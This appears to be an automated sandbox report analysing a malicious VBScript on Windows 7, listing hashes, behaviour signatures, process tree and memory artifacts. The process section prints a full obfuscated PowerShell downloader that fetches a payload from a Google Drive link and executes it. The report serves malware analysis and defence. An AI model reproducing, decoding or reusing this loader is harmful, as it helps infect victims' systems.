Analysis

  • max time kernel
    150s
  • max time network
    122s
  • platform
    windows7_x64
  • resource
    win7-20240903-en
  • resource tags

    arch:x64arch:x86image:win7-20240903-enlocale:en-usos:windows7-x64system
  • submitted
    05/11/2024, 04:16

General

  • Target

    c8dc3da743828ede92e47375261bb9e9c192e307e779e56af8c63e0e9cb919d7.vbs

  • Size

    15KB

  • MD5

    32166cc1965b1dfa389671abcdbf90f3

  • SHA1

    897a0567851433b4c116a7703ba16cd262dafdc5

  • SHA256

    c8dc3da743828ede92e47375261bb9e9c192e307e779e56af8c63e0e9cb919d7

  • SHA512

    4957257bc4724bce2a516d39a576bbc397553fbcb0a80a951c9fb3e1a5294159e53000dc42db7279bef1274c426fb1a21b38f4715a320612481bc443c77a6522

  • SSDEEP

    192:dNbwZ3XUlJPdrDdCR/vXZUr56NxE9yrVvla5Loea+1v+tkqxIXJM8+lbuzCv/K:bb+XyJPdHE61fwVvlaj1v+zI5glblv/K

Score
8/10

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\c8dc3da743828ede92e47375261bb9e9c192e307e779e56af8c63e0e9cb919d7.vbs"
    1⤵
    • Blocklisted process makes network request
    • Suspicious use of WriteProcessMemory
    PID:2736
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" " <#Delepunkter Preeconomically Gybed #>;$backfisch='Unbedabbled';<#Kommuneplaner troldmandsorganisationens Modelune Hectocotylization Petrobrusian #>; function Physiotherapist($skvalpe){If ($host.DebuggerEnabled) {$Cathlins227++;}$Premious=$Scathed+$skvalpe.'Length' - $Cathlins227; for ( $Bulbochaete=4;$Bulbochaete -lt $Premious;$Bulbochaete+=5){$Kulturhistoriens218=$Bulbochaete;$Allergikere+=$skvalpe[$Bulbochaete];}$Allergikere;}function Airfares($Differentierbart){ . ($Frysediske) ($Differentierbart);}$Historiographies=Physiotherapist ' attMIn,qoTurnzDeaciPro lpol,lDam a Nyv/ Ent ';$Arcsine=Physiotherapist ' In TKu elBughsCon.1 N.n2Marg ';$belard='Sei,[ ,enn.odbE PorT Ski.HandSLa,eeDra rMaltv MegIFauncSympeRuddPbehaOA peISavaNSquiTBa bmSuppAMagtN MolaMacogTripE egyrLa r]Empy:Mira:.ruks Lf.eStrecGa.duForsrsl vi inkt riny MyePMoseRUnl OMistTJocoOExtrcGa tohardLDob.=Deli$UdkaABrlerTi scAnstsKiloIPrlunChisE A.a ';$Historiographies+=Physiotherapist 'B.ug5Isam.Knal0C mp F,r(A,elWFloki ian.agedMistoB hawReh,s re SammN El TKen ug n1N.za0Revi.Guat0Enfe;B ta BeerW Re imalhnCh c6Drip4 brs;P rs selvxTyks6Snoo4X,lo;Side PulmrApo vVult:Smel1 Kor3gran1 Fre.Udem0reco)Bagv HeidG nloeAlfacHulikH maofosf/ nde2Jagt0Medi1Du.c0A,st0 Sub1Solh0 aki1Bil, UkamFKbstiB,acrUndeePrecfTlleoPag x .id/Rens1Logi3Misb1R nh.Tnde0Jowl ';$Lkkerbiskenen=Physiotherapist 'KapruRotts DisEE gorWo b-Basta .aagekviEDatan DurTTre. ';$Parken=Physiotherapist 'B ndh ddit SvrtForgpProssPoki:Soun/Jinr/DitidUngarVindiPsorvSolveHerm.Kursg pshoUnfloNo rgCykelForhePlat.P,uvcmas oShabm Con/ SonuWisscForf?Un de.eckxRedipVenioSemirU.cotsece=No.ndMulto SkuwGam nUd nl isoIndbaKlasdSemi&Boosi.pirdSout=H,li1Gray-Skilv RevoEy,bx ehyB Te yUdlgw PedAKataA AnuwEff,-holdo ignhMani_Bl.pQBullv uaneDa.olA reEromaF Mo QS ej5Baby3MastpChe,6UnitLStigFBayovritz6Bas.x .tatTeen5Ula ';$Kalibreringerne=Physiotherapist 'Pren> Fi ';$Frysediske=Physiotherapist 'Sm giEfteE Kedxbrau ';$Urgency='Opmuntredes';$Bulbochaetenefficacity='\Boganmelderen.Flu';Airfares (Physiotherapist 'vedf$PresGForfL otoTempbJus,A MailDiaz:S ndI rueLLignL KryU auksSar,tUnr R ulhaB.smtMalaiAlacV ronTWar = Unc$ Ma EHistn AblvA,se:B,okALawypBetoP IndDVerrA annT gasaJenk+Sl,m$StanB Ki uG nilFletbBookONymfCTumoHHousA D.ie isptSegmeEvenN TypEAutofUndefSelei.ulicAlteAM.ddcImagISam.TBoerYVari ');Airfares (Physiotherapist ' Sam$Gongg H,slInteoDiabb Fora velTank:Squig orrAKonnRJagtD undeFarvnRegiICockZPercEBeausSmig= Tog$RamapSte,aSkraR letk Ba.EIntenIntr.PoetSeftePKor l Ru iUngeTBort( Non$MisokPa maAdfrL si I ForBFlusr ManeHaa RHorii,kuvNKondg.noweDelkRBjerNUbegeIndk)P rs ');Airfares (Physiotherapist $belard);$Parken=$gardenizes[0];$Bulbochaetentuitionalist=(Physiotherapist ' isi$Ag ag Th lSpisOfastbSkjoAM.llLbyba: MatF A bo Vu.RPumaK rivUSch,lOverN AspIHvidNHdtvg,haieHemiR incSChar=overNMereE SkjWUdfl- ornO Stvb T.nJJ.eseAnagcAttaTBe.r BoersNervYBranS SekTAl aESvenMUntu.EpidN Sa eAracT kl.EspeW onoe In bFlyec,etul ejiNon.EGraen SlgTSk l ');Airfares ($Bulbochaetentuitionalist);Airfares (Physiotherapist 'dulo$ExhaF rneoFoedrBa,dkHvepuGrael RepnBr.diPre n NilgCycleVi krops,s Bee.OranHDokue Om a,utbd,poteNo,mrSv gsPi s[None$Ob eLDybdk Stak Gr eSky.rEchabTilliNormsTelek .loe resn HygeFemhnSubc] B r= ind$PartHOut i Fl,sVenet UrkoOnd rAdj iKnneoBlungBecarTaxaaFllepCarmhSlutiBil.eClinsAgam ');$Dalrede=Physiotherapist 'Ind.$AeroFhairoInebrAdrekS rruAsbelBib nposiiIntenLobegDiseeBrusr nalsKeel. M.hDF rtoSkriw D,nnRef lill,oGrubaT,epd PerF CuliSupelUn ne.oll( vi$phaePPr,eaStrer Irrk OrteSpacnTria,Mana$Ret O.nbop F.drOvere GlatUngetAnaleOmk lBoghiRotogTerre IndsWine)Meni ';$Opretteliges=$illustrativt;Airfares (Physiotherapist 'Slim$TranG VaslMillo DamBarbeA.iabLSpi.:Aspim svaESocis,lumt UbrR GaaeShirtTeat=kuld(PreaTPoeme EpiSPolaTLejr- Anop C oaOpretTritHAcer Ba m$KumeoTv.lPCathRG.anEDgnvtG rlt andEEmbeLUnaiI StngSto ELandsF,rl)S ap ');while (!$Mestret) {Airfares (Physiotherapist ' Ke.$Mahug EdulOptioP,eub UndaPulvl ota: oncFTrieaZagrrMinivWhereSenafDoubaMer.sVegetBere=Su.p$ oltt Admr evou,aireRe.t ') ;Airfares $Dalrede;Airfares (Physiotherapist 'SemiSAan TMacrA ,ivrKan.tBu,n-BybiSO erLFldneMikeE treP o t S e4Chap ');Airfares (Physiotherapist 'Frit$ReapGFabulIne oE erBBr nabardl Sys:Al tM T neFortSE emtNatuRArche afsT Ar =Bogt(GyratBoxieMahaSdatatEks - SjkpRe da ReutBombH W r Sner$RkenoOve.P PriR yroEDandTSrskTRe reBullL f,riEbbegbagee eldsSta )Forl ') ;Airfares (Physiotherapist 'In e$Sig,gWaldL IndOFah,B uveA elvL V j:Breni T gNTrygtGusteUbesR KnoD.ecae KviPBalwaN ntrSubsTKvalMGi deVan nsongTPu vA bydL KolLOcc.Y ,ol=Phan$Vagag Foul anoFlleb SrgACruslisaf:StagSUndeyViruD L uV.llie PitnReg dDrivTCigaEAnk s.fso1S ff0 Men6S,mm+Un i+Smit%kard$BlokGPlasaPraiR BddDOrviE V,lNTageiMeroz VeneOpbySAspa.AgilC OptOspinU UndN U,tT ntr ') ;$Parken=$gardenizes[$Interdepartmentally];}$Monoprotic=290512;$Baadmotorer180=29973;Airfares (Physiotherapist 'V gt$ SulGJustLBhojoAsatB RasaSunsl.ead:BiscsAmtstSejuOPhlee PelT V ntP raeBrannSvrn lang=Amfi ignigkau EBesktJ,ra- S oc kovo ,veNFrakT ousePersnAn lt Dru Le.$fl,soSug P GalrOvereN.utttankTBrugeAn iLarbeIDkniG OuteKrigsSpli ');Airfares (Physiotherapist ' Sta$Sking an lProto SepbS bpa B.gl Ryk:brddN Samo PronBr ggAbeneBrocrKnosmBivui Nyln,ikeaFrdal nin Flos=semi Skat[ ireSSkr y O asOperthempe B.vmFeri. RegCUparoManinSkravKnkkeargerslugtCreb]T kk:Arti:AfstFA sir Cyko rysmdiveB BunaUdlgs RineSoir6Mors4MiddS Teot SkarUb tiReginAflngBeha(Litt$PneuSharstIndioM,gaeade,tIndstAntieAlkonS yd)Regi ');Airfares (Physiotherapist 'Vipe$ BrngHun LDundoSmaaBKontAFlerlremi:NedfUM non Recl,nteOAnlovMyceILathNRyttG Ph,lAno.y,nde icr= ex Glow[smaaSEmblyDeseS balT,idnePumpMLuft.O blTC,epeblanXSureTGoka.,lekeRemuNBlasCS agOMaskDS.liiDireNCrasgLune]Angu:Roge:AnviATeleSHmorCMe fISubbI ofa.BrusG Sp ePicoTDobbs SnitBr,iR eliI SitNHrmyg U g( Sol$ ElensporoKul n,yopGPr,cEFal.RWhalMUntaIStr.nS,sta wiel Sem)Weim ');Airfares (Physiotherapist ' Man$.fveGAkk l oruoGeniB SelA Z nlTieb:Preih DagEc ruA Va D nreQAflaU RedaUmagrAbriTKvadeS,leRD.rgiLuftNRo,sgT le=Head$LeatuDef.nfluvLBarso ProVsen.ITypeNSkotGSvinlBu dYS ud. orsNoncUtu.nbStabsSta,tUncoRMedeiGradNP etGMi i(Fil $NormmTeleoSockNR,ceo.ranp ArbrKvarOGravtTekniCaumcafsn,Dulc$Mrk BFre.A.nsoAPampd Ha mP ylOAppaTProdOEnphrUnireDompr and1 Tre8E go0tykm)Pibe ');Airfares $Headquartering;"
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:3008

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\CabF2D9.tmp

    Filesize

    70KB

    MD5

    49aebf8cbd62d92ac215b2923fb1b9f5

    SHA1

    1723be06719828dda65ad804298d0431f6aff976

    SHA256

    b33efcb95235b98b48508e019afa4b7655e80cf071defabd8b2123fc8b29307f

    SHA512

    bf86116b015fb56709516d686e168e7c9c68365136231cc51d0b6542ae95323a71d2c7acec84aad7dcecc2e410843f6d82a0a6d51b9acfc721a9c84fdd877b5b

  • memory/3008-20-0x000007FEF601E000-0x000007FEF601F000-memory.dmp

    Filesize

    4KB

  • memory/3008-22-0x0000000002810000-0x0000000002818000-memory.dmp

    Filesize

    32KB

  • memory/3008-21-0x000000001B420000-0x000000001B702000-memory.dmp

    Filesize

    2.9MB

  • memory/3008-23-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

    Filesize

    9.6MB

  • memory/3008-24-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

    Filesize

    9.6MB

  • memory/3008-26-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

    Filesize

    9.6MB

  • memory/3008-27-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

    Filesize

    9.6MB

  • memory/3008-25-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

    Filesize

    9.6MB

  • memory/3008-28-0x000007FEF601E000-0x000007FEF601F000-memory.dmp

    Filesize

    4KB

  • memory/3008-29-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

    Filesize

    9.6MB

  • memory/3008-30-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

    Filesize

    9.6MB

  • memory/3008-31-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

    Filesize

    9.6MB

  • memory/3008-32-0x000007FEF5D60000-0x000007FEF66FD000-memory.dmp

    Filesize

    9.6MB